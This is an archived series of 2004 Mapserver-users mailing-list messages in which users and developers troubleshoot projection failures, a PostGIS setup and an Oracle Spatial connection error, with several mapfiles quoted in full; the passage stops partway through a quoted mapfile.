From: warmerdam at pobox.com (Frank Warmerdam)
Date: Thu, 15 Jan 2004 15:08:09 -0500
Subject: [Mapserver-users] Shape file and AUTO projection problems
In-Reply-To: 
References:  <001901c3da56$b6b7fe60$dca110ac@lamle> 
Message-ID: <4006F329.9030604@pobox.com>

Jay Cable wrote:
> I tried the modification, but I still get a similar results.
> 
> Digging though the mapserver code, it appears that in the case of the
> funky lines, the  projection code (pj_transform) is returning a error
> condition, which is then returned by msProjectPoint, but ignored upstream
> of msProjectPoint.  The points that fail to project are set to some
> default to (0,0), causing extra lines are drawn to the center.
> 
>>From msProjectPoint:
> 
>       error = pj_transform( in->proj, out->proj, 1, 0,
>                             &(point->x), &(point->y), &z );
> 
>       if( error )
>          {
>           return MS_FAILURE;
>          }
> 
> 
> 
> 
>>From msProjectLine:
> 
> 	msProjectPoint(in, out, &(line->point[i]));
> 
> 	msProjectPoint(in, out, &(line->point[i]));
> 
> 
> I think I am going to hack the code to drop all lines that contain points
> that had projection errors.   Has anyone encountered this problem before and
> performed a similar fix?
> 
> Thanks,
>   -Jay Cable
>   jcable at gi.alaska.edu

Jay,

What version of mapproject.c are you looking at?  Back in September I
updated mapproject.c in CVS to return error codes if any points fail
to project ... that should include msProjectLine().

However, in the end I chickened out of changing msDrawShape() (or whatever
the higher level function was) so that it wouldn't draw shapes that failed
to reproject since it would result in nothing being drawn for some big shapes
even if most of it reprojected properly.  So my changes didn't prevent the
kind of corruption you are seeing.   I have a partial change to do that
in my mapserver dev directory, but I avoided committing it.

In short, mapproject.c should be fine in CVS.  If you are interested, perhaps
you could shift to the CVS version and do some testing with higher level
checks on whether various project calls have succeeded.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From jnielsen at aero-graphics.com  Thu Jan 15 12:31:03 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Thu, 15 Jan 2004 13:31:03 -0700
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: 
References: 
Message-ID: <1074198663.4006f8871d243@www.agi-lan.com>

Quoting Tyler Mitchell :

> 
> 
> 
> 
> 
> > Is there any holding your hand walk throughs on implementing a Mapserver
> +
> > PostGIS system? Looking for something where we can dump SHP files
> > into the db as
> > well as rasters then view them.
> 
> Hi Jason, glad to hear you're taking the next step.
> It would be helpful for us if you could post a couple more bits of info:
> - contents of your map file
> - describe structure of the postgis table in question (ie in psql: >\d
>  )
> - complete listing of your geometry_columns table
> 
> That should help us track with your problem a bit more.
> 
> Tyler
> 
> p.s. "Mapserver + PostGIS for dummies" is a bit of an oxymoron ;)
>

This is fairly chopped up version of the demo.map. I figured if I start with a
working setup Id have better luck moving to PostGIS as the backend.

---------------------
MAP
  IMAGETYPE PNG
  UNITS feet
  EXTENT 1788886.749859 472006.998403 2135529.501670 833751.562963 
  SIZE 600 600
  PROJECTION
   "proj=latlong"
  END #end projection
  LAYER
    CONNECTIONTYPE postgis
    NAME "Utah Geological Study"
    CONNECTION "user=gis_user dbname=pg00 host=localhost"
    DATA "the_geom from s81"
    STATUS default
    TYPE POLYGON
    LABELITEM "name"
    CLASS
      COLOR 255 255 255
        OUTLINECOLOR 255 0 0
      LABEL
        FORCE TRUE
        POSITION CC
        SIZE tiny
        OUTLINECOLOR 255 255 255
        BACKGROUNDCOLOR 255 255 204
        BACKGROUNDSHADOWCOLOR 221 221 221
        BACKGROUNDSHADOWSIZE 1 1
        MINDISTANCE 2
        COLOR 0 0 0
      END #end label
    END #end class
  END #end layer
  SCALEBAR
    BACKGROUNDCOLOR 255 255 255
    COLOR 0 0 0
    IMAGECOLOR 0 0 0
    POSITION lr
    SIZE 200 50
    STATUS on
    STYLE 1
    TRANSPARENT on
    UNITS miles
  END #end scalebar
  WEB
    HEADER demo_header.html
    TEMPLATE demo.html
    FOOTER demo_footer.html
    MINSCALE 1000
    MAXSCALE 1550000
    IMAGEPATH "set in demo_init.html"
    IMAGEURL "set in demo_init.html"
  END #end web
END

END #end map
---------------------

pg00=# \d s81
                                 Table "public.s81"
  Column  |       Type        |                      Modifiers                 
     
----------+-------------------+------------------------------------------------------
 gid      | integer           | not null default nextval('public.s81_gid_seq'::text)
 length   | numeric(38,8)     | 
 symbol   | integer           | 
 source   | character varying | 
 the_geom | geometry          | 
Indexes: s81_pkey primary key btree (gid),
Check constraints: "$1" (srid(the_geom) = -1)
                   "$2" ((geometrytype(the_geom) = 'MULTILINESTRING'::text) OR
(the_geom IS NULL))

---------------------

pg00=# select * from geometry_columns;
 f_table_catalog | f_table_schema | f_table_name | f_geometry_column |
coord_dimension | srid |      type       | attrelid | varattnum | stats 
-----------------+----------------+--------------+-------------------+-----------------+------+-----------------+----------+-----------+-------
                 | pg00           | s81          | the_geom          |         
     2 |   -1 | MULTILINESTRING |   687809 |         5 | 
(1 row)

Thanks,
Jason.




-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From warmerdam at pobox.com  Thu Jan 15 12:42:19 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Thu, 15 Jan 2004 15:42:19 -0500
Subject: [Mapserver-users] Re: first-pass MapServer raster query workflow
In-Reply-To: 
References: 
Message-ID: <4006FB2B.7020808@pobox.com>

Charlton Purvis wrote:
> Hey, Frank:
> 
> Don't know if I should bore the MapServer or GDAL lists w/ this or not.
> I'll fire it to MapServer people in case they're interested.
> 
> Goal is to create a quick raster query hack.
> 
> Quick question.  I know that we can't currently rely on MapServer to
> preserve the color index of a PNG.  But can we count on it to preserve
> the RGB?  If so, the hack that I'm forwarding below should work.
> 
> Attached image contains in-situ SST's (sea surface temps.) on top of
> AVHRR SST's.

Charlton,

If your input is a 24 bit PNG file, and your output is a 24bit PNG file,
you can be assured that the output PNG file will contain exactly the same
RGB tuples as the input file.  If either is 8bit things are substantially
less certain.  There are also other things that can interfere, such as layer
level transparency, but I am assuming that is not coming into play.

If the input is 8bit pseudocolored PNG and the output is 24bit PNG then I
think you would be OK, but a test might be in order. :-)  A quick review
of the code in question though suggested even the 8bit to 24bit case
should be safe.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From jnielsen at aero-graphics.com  Thu Jan 15 12:47:17 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Thu, 15 Jan 2004 13:47:17 -0700
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
In-Reply-To: <1074194030.1511.57.camel@ubet.gomoos.org>
References: <1074191988.4006de74f3577@www.agi-lan.com> <1074194030.1511.57.camel@ubet.gomoos.org>
Message-ID: <1074199637.4006fc5547e6a@www.agi-lan.com>

Quoting Eric Bridger :

> Just started using postgis recently and the error messages are a bit
> cryptic.  Just yesterday I spent an hour staring at a simliar error (you
> can try running the query i.e. everything after BINARY CURSOR FOR from
> psql to see if it works).  Until I checked the postgres log and realized
> that the table created by shp2pgsql had not granted permissions for my
> web user.  GRANT SELECT ON .... TO PUBLIC fixed the problem.
> 
> The using clauses are for advance queries with a sub-select. You are
> probably using the (1) the_geom from [table_name] form of query.
> 
> Note: there is a postgis list at:
> http://postgis.refractions.net/mailman/listinfo/postgis-users

Didnt think about that. Good information. I checked and there were no users
granted privledges to the table so I first added the intended user and
ultimately public but still no luck. Same error came back.

Thanks, Jason.

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From jcable at gi.alaska.edu  Thu Jan 15 12:51:50 2004
From: jcable at gi.alaska.edu (Jay Cable)
Date: Thu, 15 Jan 2004 11:51:50 -0900 (AKST)
Subject: [Mapserver-users] Shape file and AUTO projection problems
In-Reply-To: <4006F329.9030604@pobox.com>
References: 
 <001901c3da56$b6b7fe60$dca110ac@lamle> 
 <4006F329.9030604@pobox.com>
Message-ID: 

=> What version of mapproject.c are you looking at?  Back in September I
=> updated mapproject.c in CVS to return error codes if any points fail
=> to project ... that should include msProjectLine().
=>
=> However, in the end I chickened out of changing msDrawShape() (or whatever
=> the higher level function was) so that it wouldn't draw shapes that failed
=> to reproject since it would result in nothing being drawn for some big shapes
=> even if most of it reprojected properly.  So my changes didn't prevent the
=> kind of corruption you are seeing.   I have a partial change to do that
=> in my mapserver dev directory, but I avoided committing it.
=>
=> In short, mapproject.c should be fine in CVS.  If you are interested, perhaps
=> you could shift to the CVS version and do some testing with higher level
=> checks on whether various project calls have succeeded.

I have it pretty much working now for the data I am interested in
but I will take a look at the code in CVS.

What I have done is not a general purpose fix though - does anyone know if
there is any plan for a more general fix for this problem?

Regards,
  -Jay
  jcable at gi.alaska.edu


From bartvde at xs4all.nl  Thu Jan 15 13:05:20 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Thu, 15 Jan 2004 22:05:20 +0100
Subject: [Mapserver-users] RE : OracleSpatial Error
In-Reply-To: 
References: 
Message-ID: 

Hi Nicolas,

I had a quick scan through the source code, but think we need to get 
debugging working to find out what the problem is, i.e. find out the OCI 
error. There are a few OCI calls (among others a connect) which could fail 
and have the Mapserver error message you get as a result.

stderr will in Apache go to the Apache error log, I don't know where IIS 
will put that, does it have an error log somewhere? You can also use a 
file I guess instead of "stderr". But make sure the CGI will get the ENV 
VAR "MS_ERRORFILE", in Apache under Windows this has to be done in the 
httpd.conf instead of at the operating system level. Again, I don't know 
for IIS.

Best regards,
Bart

On Thu, 15 Jan 2004 14:18:30 -0500,  wrote:

>
> Thx for your fast reply,
>
> If I make a mistake in the CONNECTION or DATA, I get the same error !
> It's weird I can get an image with shp2img with the same mapfile but not
> with mapserver on the web server.
> The OCI is in the path and IUSR_ have access to it.
>
> Thx for the info about MS_ERRORFILE but is "stderr" suppose to be a 
> file??
>
> Nicolas
>
> -----Message d'origine-----
> De : Bart van den Eijnden [mailto:bartvde at xs4all.nl]
> Envoy? : Thursday, January 15, 2004 1:52 PM
> ? : nicolas.fortin at ec.gc.ca; mapserver-users at lists.gis.umn.edu
> Objet : Re: RE : [Mapserver-users] RE : OracleSpatial Error
>
>
> Hi Nicolas,
>
> here is some info on the MS_ERRORFILE:
>
> http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?DebuggingMapserver
>
> What happens if you make a mistake in the DATA part, e.g. a non-existent
> table? What kind of error message do you get then, normally you would get
> an ORA message, but if it cannot make the connection at all, there must 
> be
> something wrong at the connection level. But just to rule out things.
>
> Is the OCI library in the path?
>
> Best regards,
> Bart
>
> On Thu, 15 Jan 2004 13:39:19 -0500,  wrote:
>
>>
>> Hi Bart!
>>
>> Yes it's the full error message ... No ORA-XXXXX message so it's
>> difficult
>> to know what happens.
>> In the logfile of mapserver (DEBUG TRUE and LOG "log.txt"), the same
>> message
>> is writing by mapserver.
>> I didn't know about the MS_ERRORFILE Env Var...what is it??
>>
>> I'm on Windows 2000 and IIS and both Oracle (Client and DB) are
>> 9.2.0.3 I can't replicate this error nowhere but on this server...and
>> I tried mapserver on 4 workstations/server now.
>>
>> Thx,
>> Nicolas
>>
>> -----Message d'origine-----
>> De : Bart van den Eijnden [mailto:bartvde at xs4all.nl]
>> Envoy? : Thursday, January 15, 2004 1:35 PM
>> ? : nicolas.fortin at ec.gc.ca; mapserver-users at lists.gis.umn.edu Objet :
>> Re: [Mapserver-users] RE : OracleSpatial Error
>>
>>
>> Hi Nicolas,
>>
>> is this the full error message, or an error message showing up in your
>> browser after performing a WMS request?
>>
>> In other words, have you set the MS_ERRORFILE environment variable to
>> get full debugging output?
>>
>> BTW: what platform is your server on and which Oracle version? Do you
>> have
>> the same (version of the) Oracle client installed on the server and on
>> your workstation? What webserver do you have?
>>
>> Best regards,
>> Bart
>>
>> On Thu, 15 Jan 2004 09:35:53 -0500,  wrote:
>>
>>>
>>> Hi again!
>>>
>>> My Oracle problem on the server is not solved yet.
>>>
>>> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
>>> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>>>
>>> More observations :
>>> I can get an image with the shp2img utilities and the same mapfile. I
>>> can make Oracle spatial query from SQL*Plus on the server without
>>> error. I use the same layers and Oracle connection/user of this
>>> mapfile on my workstation without error.
>>>
>>> The error only appears when the request is made to the web server
>>>
>>> I'm open to all kind of suggestions!
>>> Thx
>>> Nicolas
>>>
>>> -----Message d'origine-----
>>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy?
>>> : Tuesday, January 13, 2004 10:29 AM ? : nsavard at dmsolutions.ca;
>>> hjulien at nrcan.gc.ca Cc : mapserver-users at lists.gis.umn.edu Objet : RE
>>> : RE : RE : [Mapserver-users] WMS LAYERS= [SOLVED] But an Orac le
>>> one too!
>>>
>>>
>>>
>>> Problem solved!
>>> The mapfile sent below is not exactly the right one, in the other,
>>> one group has the same name as a layer.  By renaming the group, all
>>> is back to normal.
>>>
>>> Thx for your help!
>>>
>>> Now we have a weird oracle error message from the server we're trying
>>> to install mapserver, here it is:
>>> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
>>> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>>>
>>> I searched the archive but found nothing...
>>> An idea? Someone...
>>>
>>> Nick
>>>
>>> -----Message d'origine-----
>>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy?
>>> : Tuesday, January 13, 2004 9:46 AM ? : nsavard at dmsolutions.ca Cc :
>>> mapserver-users at lists.gis.umn.edu Objet : RE : RE : [Mapserver-users]
>>> WMS LAYERS=
>>>
>>>
>>>
>>> Hi Normand, thx for your answer!
>>> No, you don't have access to it cause it's only intranet for the
>>> moment...
>>>
>>> This afternoon, I'll try to place the layers like Heryk said to see
>>> if it works.
>>>
>>> Here's my wms request:
>>> http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VE
>>> R
>>> SION=1
>>> .1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000
>>>
>>> And my mapfile:
>>> #
>>> ---------------------------------------------------------------------
>>> # Mapserver 4.0 for Oracle
>>> # Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
>>> # MapFile Test pour la CMI V1.4
>>> #
>>> ---------------------------------------------------------------------
>>>
>>> NAME IJC4
>>> EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
>>> SIZE 425 425
>>> SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym'
>>>
>>> # Projection LCC de la CMI
>>> PROJECTION
>>>   "proj=lcc"
>>>   "ellps=GRS80"
>>>   "lat_0=63"
>>>   "lon_0=-91.8666"
>>>   "lat_1=49"
>>>   "lat_2=77"
>>>   "x_0=6200000"
>>>   "y_0=2958000"
>>>   "datum=NAD83"
>>>   "units=m"
>>> END
>>>
>>> WEB
>>>   TEMPLATE defaultcmitest1.html
>>>   HEADER header.html
>>>   FOOTER footer.html
>>>   IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
>>>   IMAGEURL "/tmp/"
>>>   METADATA
>>>     wms_title "WMS Quebec Node for IJC test2"
>>>     wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
>>>     wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
>>>     wms_contactperson "Nicolas Fortin"
>>>     wms_contactorganization "Environnement Canada, SMC-Hydrologie"
>>>     wms_contactposition "Programmeur, Analyste de donn?es num?riques"
>>>     wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
>>>   END
>>> END
>>>
>>> LEGEND
>>>   STATUS ON
>>>   LABEL
>>>      COLOR 0 0 0
>>>      SHADOWCOLOR 218 218 218
>>>      SHADOWSIZE 2 2
>>>      TYPE BITMAP
>>>      SIZE MEDIUM
>>>      POSITION CC
>>>      PARTIALS FALSE
>>>      BUFFER 2
>>>   END
>>> END
>>>
>>> REFERENCE
>>>   STATUS ON
>>>   IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
>>>   SIZE 150 150
>>>   EXTENT 7549910 1161398 7689518 1363371
>>>   COLOR -1 -1 -1
>>>   OUTLINECOLOR 255 0 0
>>> END
>>>
>>> LAYER
>>>   NAME "2"
>>>   TYPE POLYGON
>>>   CONNECTIONTYPE oraclespatial
>>>   CONNECTION "user/****@quebijc"
>>>   DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
>>>   STATUS OFF
>>>   DUMP TRUE
>>>
>>>   METADATA
>>>     wms_title "Quebec Watersheds"
>>>     wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
>>>   END
>>>
>>>   PROJECTION
>>>     "proj=lcc"
>>>     "ellps=GRS80"
>>>     "lat_0=63"
>>>     "lon_0=-91.8666"
>>>     "lat_1=49"
>>>     "lat_2=77"
>>>     "x_0=6200000"
>>>     "y_0=2958000"
>>>     "datum=NAD83"
>>>     "units=m"
>>>   END
>>>
>>>   CLASS
>>>     NAME "Watershed"
>>>     SYMBOL 'CIRCLE'
>>>     SIZE 2
>>>     COLOR 255 255 255
>>>     OUTLINECOLOR 0 204 0
>>>   END
>>> END
>>>
>>> LAYER
>>>   NAME "1"
>>>   TYPE LINE
>>>   CONNECTIONTYPE oraclespatial
>>>   CONNECTION "user/****@quebijc"
>>>   DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
>>>   STATUS DEFAULT
>>>   GROUP "Shoreline"
>>>   DUMP TRUE
>>>
>>>   METADATA
>>>     wms_title "St. Lawrence River Detailed Shoreline"
>>>     wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
>>>     wms_group_title "Shoreline"
>>>   END
>>>
>>>   PROJECTION
>>>     "proj=lcc"
>>>     "ellps=GRS80"
>>>     "lat_0=63"
>>>     "lon_0=-91.8666"
>>>     "lat_1=49"
>>>     "lat_2=77"
>>>     "x_0=6200000"
>>>     "y_0=2958000"
>>>     "datum=NAD83"
>>>     "units=m"
>>>   END
>>>
>>>   CLASS
>>>     NAME "Detailed Shoreline"
>>>     COLOR 0 51 255
>>>     SYMBOL 'CIRCLE'
>>>     SIZE 1
>>>   END
>>> END # Shoreline
>>>
>>> END
>>>
>>>
>>> -----Message d'origine-----
>>> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
>>> Envoy? : Monday, January 12, 2004 5:05 PM
>>> ? : nicolas.fortin at ec.gc.ca
>>> Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet :
>>> Re:
>>> RE :
>>> [Mapserver-users] WMS LAYERS=
>>>
>>>
>>> Hi,
>>>
>>> I tried to replicate this problem without success by using our WMS
>>> server used during the OGC compliance tests.   I also used the OGC test
>>> suite requests.  I joined both the map file and the requests sent
>>> (see below).  Theses requests contain three layers.  In the first
>>> request, the "Forest" layer is drawn first.  In the second request,
>>> the "Forest" layer is drawn last.  You can also see that I modified
>>> the
>> mapfile to
>>> set the "Forest" layer status to "DEFAULT".   It does not seem to 
>>> affect
>>> the drawing order.  But maybe I'm missing something.  Do we have
>>> access your WMS server?  It is possible to have a copy of your
>>> mapfile and the request you are currently sending?
>>>
>>> Norm
>>>
>>>
>>>
>>> The requests used are.
>>>
>>>
>>> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUE
>>> S
>>> T=GetM
>>>
>> ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042
>> ,-0.00
>>> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>>>
>>>
>>> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUE
>>> S
>>> T=GetM
>>>
>> ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042
>> ,-0.00
>>> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>>>
>>>
>>>
>>> Our map file is as follow:
>>>
>>> #
>>> # Start of map file
>>> #
>>> # $Id: ogc_cite_wms_server.map,Exp $
>>> #
>>> NAME OGC_CITE
>>> STATUS ON
>>> SIZE 600 400
>>> ## EPSG:4326 extents
>>> EXTENT -2 -2 -1 6
>>> #EXTENT -0.0042 -0.0024 0.0042 0.0024
>>>
>>> UNITS METERS
>>> SHAPEPATH "../data/shapefile"
>>> IMAGECOLOR 255 255 255
>>> FONTSET ../etc/fonts.txt
>>> SYMBOLSET ../etc/symbols.sym
>>>
>>> #
>>> # Start of web interface definition
>>> #
>>> WEB
>>> # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the
>>> root # of the drive where the .MAP file resides. #
>>>   IMAGEPATH "/tmp/ms_tmp/"
>>>   IMAGEURL "/ms_tmp/"
>>> #  LOG "/tmp/gmap.log"
>>>   METADATA
>>>     "WMS_TITLE"         "cite:OGC_CITE WMS Server"
>>>     "WMS_ONLINERESOURCE"
>>> "http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
>>>     "WMS_SRS"           "EPSG:4326"
>>>     "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
>>>     "WMS_ACCESSCONTRAINTS" "none"
>>>     "WMS_FEES"              "none"
>>>
>>>   END
>>> END
>>>
>>> PROJECTION
>>>   "init=epsg:4326"
>>> END
>>>
>>> QUERYMAP
>>>   SIZE 200 200
>>>   STATUS ON
>>>   STYLE HILITE
>>>   COLOR 255 0 0
>>> END
>>>
>>> #
>>> # Start of layer definitions
>>> #
>>>
>>> LAYER
>>>   NAME BasicPolygons
>>>   TYPE POLYGON
>>>   STATUS OFF
>>>   DATA BasicPolygons
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   TEMPLATE "basicpolygons.html"
>>>   CLASS
>>>     NAME "BasicPolygons"
>>>     COLOR 194 194 194
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:BasicPolygons"
>>>     "WMS_ABSTRACT" "BasicPolygons layer."
>>> #    "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME DividedRoutes
>>>   TYPE LINE
>>>   STATUS ON
>>>   DATA DividedRoutes
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   CLASS
>>>     NAME "DividedRoutes"
>>>     COLOR 0 0 0
>>>     OUTLINECOLOR 0 0 0
>>>     SYMBOL 'circle'
>>>     SIZE 6
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:DividedRoutes"
>>>     "WMS_ABSTRACT" "DividedRoutes layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME DividedRoutes_anno
>>>   STATUS ON
>>>   DATA DividedRoutes
>>>   TYPE ANNOTATION
>>>   LABELITEM "NAME"
>>>   CLASS
>>>     NAME "DividedRoutesAnnotations"
>>>     COLOR 255 255 255
>>>     OUTLINECOLOR 0 0 0
>>>     SYMBOL 'routetag'
>>>     SIZE 40
>>>     OVERLAYSYMBOL "route75"
>>>     OVERLAYSIZE 15
>>>     OVERLAYCOLOR 0 0 0
>>>     LABEL
>>>       POSITION CC
>>>       COLOR 255 255 255
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 0
>>>       PARTIALS false
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "DividedRoutes"
>>>     "WMS_ABSTRACT" "Divided routes layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME MapNeatline
>>>   TYPE LINE
>>>   STATUS ON
>>>   DATA MapNeatline
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   CLASS
>>>     NAME "MapNeatline"
>>>     COLOR 0 0 0
>>>     SYMBOL 'circle'
>>>     SIZE 3
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:MapNeatline"
>>>     "WMS_ABSTRACT" "MapNeatline layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME NamedPlaces
>>>   TYPE POLYGON
>>>   STATUS ON
>>>   DATA NamedPlaces
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   LABELITEM "NAME"
>>>   CLASSITEM "NAME"
>>>   TEMPLATE "namedplaces.html"
>>>   CLASS
>>>     NAME "Ashton"
>>>     EXPRESSION "Ashton"
>>>     #COLOR 153 153 153
>>>     COLOR 192 192 192
>>>     OUTLINECOLOR 0 0 0
>>>     SIZE 8
>>>     LABEL
>>>       ANGLE AUTO
>>>       COLOR  0 0 0
>>>       BACKGROUNDCOLOR 192 192 192
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 10
>>>       POSITION LR
>>>       OFFSET 10 10
>>>       PARTIALS FALSE
>>>     END
>>>   END
>>>   CLASS
>>>     NAME "Goose Island"
>>>     EXPRESSION "Goose Island"
>>>     COLOR 255 255 255
>>>     SIZE 8
>>>     TEXT "Goose | Island"
>>>     LABEL
>>>       ANGLE AUTO
>>>       COLOR  0 0 0
>>>       BACKGROUNDCOLOR 255 255 255
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 4
>>>       POSITION CC
>>>       PARTIALS FALSE
>>>       WRAP "|"
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:NamedPlaces"
>>>     "WMS_ABSTRACT" "NamedPlaces layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME Ponds
>>>   TYPE POLYGON
>>>   STATUS ON
>>>   DATA Ponds
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   TEMPLATE "ponds.html"
>>>   CLASS
>>>     NAME "Ponds"
>>>     COLOR 0 255 255
>>>     OUTLINECOLOR 0 0 0
>>>     TEXT "Stock Pond"
>>>     LABEL
>>>       COLOR  0 0 0
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 9
>>>       #POSITION AUTO
>>>       POSITION UC
>>>       PARTIALS FALSE
>>>       OFFSET 0 23
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:Ponds"
>>>     "WMS_ABSTRACT" "Ponds layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME RoadSegments
>>>   TYPE LINE
>>>   STATUS ON
>>>   DATA RoadSegments
>>>   PROJECTION
>>>     "init=epsg:4326"
>>>   END
>>>   LABELITEM "NAME"
>>>   CLASSITEM "NAME"
>>>   CLASS
>>>     NAME "MainStreet"
>>>     EXPRESSION "Main Street"
>>>     SYMBOL 'circle'
>>>     SIZE 3
>>>     COLOR 238 0 0
>>>     LABEL
>>>       ANGLE AUTO
>>>       COLOR  0 0 0
>>>       FONT fritqat-italic
>>>       TYPE truetype
>>>       SIZE 10
>>>       POSITION UC
>>>       PARTIALS FALSE
>>>       OFFSET 0 2
>>>     END
>>>   END
>>>   CLASS
>>>     NAME "Route5"
>>>     EXPRESSION "Route 5"
>>>     SYMBOL 'circle'
>>>     SIZE 3
>>>     COLOR 0 0 0
>>>   END
>>>   CLASS
>>>     NAME "Route75"
>>>     EXPRESSION "Dirt Road by Green Forest"
>>>     SYMBOL 'circle'
>>>     SIZE 5
>>>     #COLOR 255 255 0
>>>     COLOR 192 160 0
>>>     TEXT "Dirt Road"
>>>     LABEL
>>>       ANGLE 90
>>>       COLOR  0 0 0
>>>       FONT fritqat-italic
>>>       TYPE truetype
>>>       SIZE 10
>>>       POSITION AUTO
>>>       PARTIALS FALSE
>>>       #OUTLINECOLOR 255 255 255
>>>       OFFSET 0 5
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "cite:RoadSegments"
>>>     "WMS_ABSTRACT" "RoadSegments layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END # layer
>>>
>>> LAYER
>>>   NAME RoadSegments_anno
>>>   STATUS ON
>>>   DATA RoadSegments
>>>   TYPE ANNOTATION
>>>   CLASSITEM "FID"
>>>   LABELITEM "NAME"
>>>   CLASS
>>>     NAME "Route5NorthEastAnnotations"
>>>     EXPRESSION "104"
>>>     COLOR 255 255 255
>>>     OUTLINECOLOR 0 0 0
>>>     #OVERLAYCOLOR 0 0 0
>>>     SYMBOL 'routetag'
>>>     SIZE 25
>>>     OVERLAYSYMBOL "route5"
>>>     OVERLAYSIZE 15
>>>     OVERLAYCOLOR 0 0 0
>>>     LABEL
>>>       POSITION CC
>>>       COLOR 255 255 255
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 0
>>>       PARTIALS false
>>>     END
>>>   END
>>>   CLASS
>>>     NAME "Route5WestAnnotations"
>>>     EXPRESSION "102"
>>>     COLOR 255 255 255
>>>     OUTLINECOLOR 0 0 0
>>>     #OVERLAYCOLOR 0 0 0
>>>     SYMBOL 'routetag'
>>>     SIZE 25
>>>     OVERLAYSYMBOL "route5"
>>>     OVERLAYSIZE 15
>>>     OVERLAYCOLOR 0 0 0
>>>     LABEL
>>>       POSITION CC
>>>       COLOR 255 255 255
>>>       FONT fritqat
>>>       TYPE truetype
>>>       SIZE 0
>>>       PARTIALS false
>>>     END
>>>   END
>>>   METADATA
>>>     "WMS_TITLE" "RoadSegments"
>>>     "WMS_ABSTRACT" "RoadSegments layer."
>>>     "WMS_SRS" "EPSG:4326"
>>>   END
>>> END #Layer
>>>
>>> LAYER
>>>   NAME Streams
>>>   TYPE LINE
>>>   STATUS ON
>>>   DATA Streams
>>>   PROJECTION
>>>     "init=epsg:4326"
